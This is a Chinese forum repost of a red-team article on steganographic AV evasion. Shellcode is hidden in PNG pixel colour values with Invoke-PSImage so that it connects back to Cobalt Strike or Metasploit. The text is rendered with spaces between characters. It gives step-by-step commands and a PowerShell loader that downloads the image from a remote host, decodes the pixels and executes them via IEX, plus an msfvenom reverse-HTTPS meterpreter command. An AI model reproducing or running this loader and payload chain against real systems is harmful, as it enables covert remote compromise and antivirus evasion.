搜索

[763] 2021-04-25_Shellcode隐写到像素RGB免杀上线到CobaltStrike

文档创建者：s7ckTeam
浏览次数：53
最后更新：2025-01-16
2021-04-25_Shellcode隐写到像素RGB免杀上线到CobaltStrike S h e l l c o d e   隐 写 到 像 素   R G B   免 杀 上 线 到   C o b a l t S t r i k e b g b i n g 安 全   2 0 2 1 - 0 4 - 2 5 以 下 文 章 来 源 于 渗 透 攻 击 红 队   ， 作 者 渗 透 攻 击 红 队 渗 透 攻 击 红 队 一 个 专 注 于 红 队 攻 击 的 公 众 号 大 家 好 ， 这 里 是   渗 透 攻 击 红 队 渗 透 攻 击 红 队   的 第   5 2   篇 文 章 ， 本 公 众 号 会 记 录 一 些 红 队 攻 击 的 笔 记 （ 由 浅 到 深 ） ， 不 定 时 更 新 图 片 免 杀 一 般 来 说 一 些   A V   对 于 图 片 并 未 做 检 测 处 理 ， 其 原 理 可 以 仅 使 用 有 效 载 荷 数 据 来 创 建 新 图 像 ， 也 可 以 将 有 效 载 荷 嵌 入 到 现 有 图 像 的 最 低 有 效 字 节 中 ， 以 便 看 起 来 像 实 际 的 图 片 。 图 像 保 存 为 P N G ， 并 且 可 以 无 损 压 缩 ， 而 不 会 影 响 执 行 有 效 载 荷 的 能 力 ， 因 为 数 据 本 身 以 颜 色 存 储 。 创 建 新 图 像 时 ， 通 常 会 对 常 规 P o w e r S h e l l 脚 本 进 行 显 着 压 缩 ， 通 常 会 生 成   p n g ， 其 文 件 大 小 约 为 原 始 脚 本 的 5 0 ％ ， 非 常 方 便 。 P S ： 我 发 一 些 杂 七 杂 八 的 广 告 别 当 真 ， 就 当 没 看 到 就 好 ， 都 是 为 了 生 活 。 ： 我 发 一 些 杂 七 杂 八 的 广 告 别 当 真 ， 就 当 没 看 到 就 好 ， 都 是 为 了 生 活 。 C o b a l t S t r i k e   免 杀 免 杀 C S 免 杀 演 示 免 杀 演 示 首 先 生 成 一 个   p s 1   的 文 件 ： 然 后 把 生 成 的 文 件 放 到 和   I n v o k e - P S I m a g e . p s 1   文 件 同 一 目 录 ： 然 后 再 准 备 一 张 普 通 图 片 用 于 生 成 一 个 带 有   P a y l o a d   的 图 片 ： 之 后 使 用 命 令 生 成 一 个 带 有   s h e l l c o d e   的 图 片 ： 渗 透 攻 击 红 队 渗 透 攻 击 红 队   . 一 个 专 注 于 渗 透 红 队 攻 击 的 公 众 号 #   1 、 设 置 执 行 策 略 S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d   - S c o p e   C u r r e n t U s e r #   2 、 导 入   p s 1   文 件 I m p o r t - M o d u l e   . I n v o k e - P S i m a g e . p s 1 #   3 、 生 成   s h e l l c o d e   的 图 片 I n v o k e - P S I m a g e   - S c r i p t   . p a y l o a d . p s 1   - I m a g e   . s a u l . j p g   - O u t   . s a u l . p n g   - W e b
之 后 就 会 得 到 这 么 一 串   P o w e r s h e l l   代 码 ： 当 前 目 录 还 会 多 出 了 一 个   s a u l . p n g   的 图 片 ： 我 们 把 里 面 的   h t t p : / / e x a m p l e . c o m / s a u l . p n g   修 改 为 我 们 自 己 的   h t t p   服 务 ， 我 首 先 再 服 务 器 上 开 启 了 一 个   h t t p   服 务 ， 然 后 把 生 成 的   s a u l . p n g   放 到 里 面 用 于 远 程 加 载 ： 这 个 时 候 我 们 修 改   p o w e r s h e l l   代 码 为 我 们 自 己 的   h t t p   ： 然 后 运 行 上 线 的   p o w e r s h e l l   代 码 上 线 ： M e t a s p l o i t 参 考 文 章 ： h t t p s : / / g i t h u b . c o m / d a y u x i y o u / I n v o k e - P S I m a g e h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 2 6 2 9 7 8 . h t m l s a l   a   N e w - O b j e c t ; A d d - T y p e   - A   S y s t e m . D r a w i n g ; $ g = a   S y s t e m . D r a w i n g . B i t m a p ( ( a   N e t . W e b C l i e n t ) . O p e n R e a d ( " h t t p : / / e x a m p l e . c o m / s a u l . p n g " ) ) ; $ o = a   B y t e [ ]   3 5 8 4 ; ( 0 . . 1 3 ) | % { f o r e a c h ( $ x   i n ( 0 . . 2 5 5 ) ) { $ p = $ g . G e t P i x e l ( $ x , $ _ ) ; $ o [ $ _ * 2 5 6 + $ x ] = ( [ m a t h ] : : F l o o r ( ( $ p . B - b a n d 1 5 ) * 1 6 ) - b o r ( $ p . G   - b a n d   1 5 ) ) } } ; I E X ( [ S y s t e m . T e x t . E n c o d i n g ] : : A S C I I . G e t S t r i n g ( $ o [ 0 . . 3 5 5 0 ] ) ) s a l   a   N e w - O b j e c t ; A d d - T y p e   - A   S y s t e m . D r a w i n g ; $ g = a   S y s t e m . D r a w i n g . B i t m a p ( ( a   N e t . W e b C l i e n t ) . O p e n R e a d ( " h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 4 / s a u l . p n g " ) ) ; $ o = a   B y t e [ ]   3 5 8 4 ; ( 0 . . 1 3 ) | % { f o r e a c h ( $ x   i n ( 0 . . 2 5 5 ) ) { $ p = $ g . G e t P i x e l ( $ x , $ _ ) ; $ o [ $ _ * 2 5 6 + $ x ] = ( [ m a t h ] : : F l o o r ( ( $ p . B - b a n d 1 5 ) * 1 6 ) - b o r ( $ p . G   - b a n d   1 5 ) ) } } ; I E X ( [ S y s t e m . T e x t . E n c o d i n g ] : : A S C I I . G e t S t r i n g ( $ o [ 0 . . 3 5 5 0 ] ) ) 1 、 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s   L H O S T = 1 9 2 . 1 6 8 . 2 5 3 . 8   L P O R T = 5 5 5 5   - f   p s h - r e f l e c t i o n   >   m s f - d a y u . p s 1 2 、 S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d   - S c o p e   C u r r e n t U s e r 3 、 I m p o r t - M o d u l e   . I n v o k e - P S i m a g e . p s 1 4 、 I n v o k e - P S I m a g e   - S c r i p t   . c s - d a y u . p s 1   - I m a g e   . d a y u . j p g   - O u t   . c s - d a y u . p n g   - W e b
渗 透 攻 击 红 队 一 个 专 注 于 渗 透 红 队 攻 击 的 公 众 号 点 分 享 点 分 享 点 点 赞 点 点 赞 点 在 看 点 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理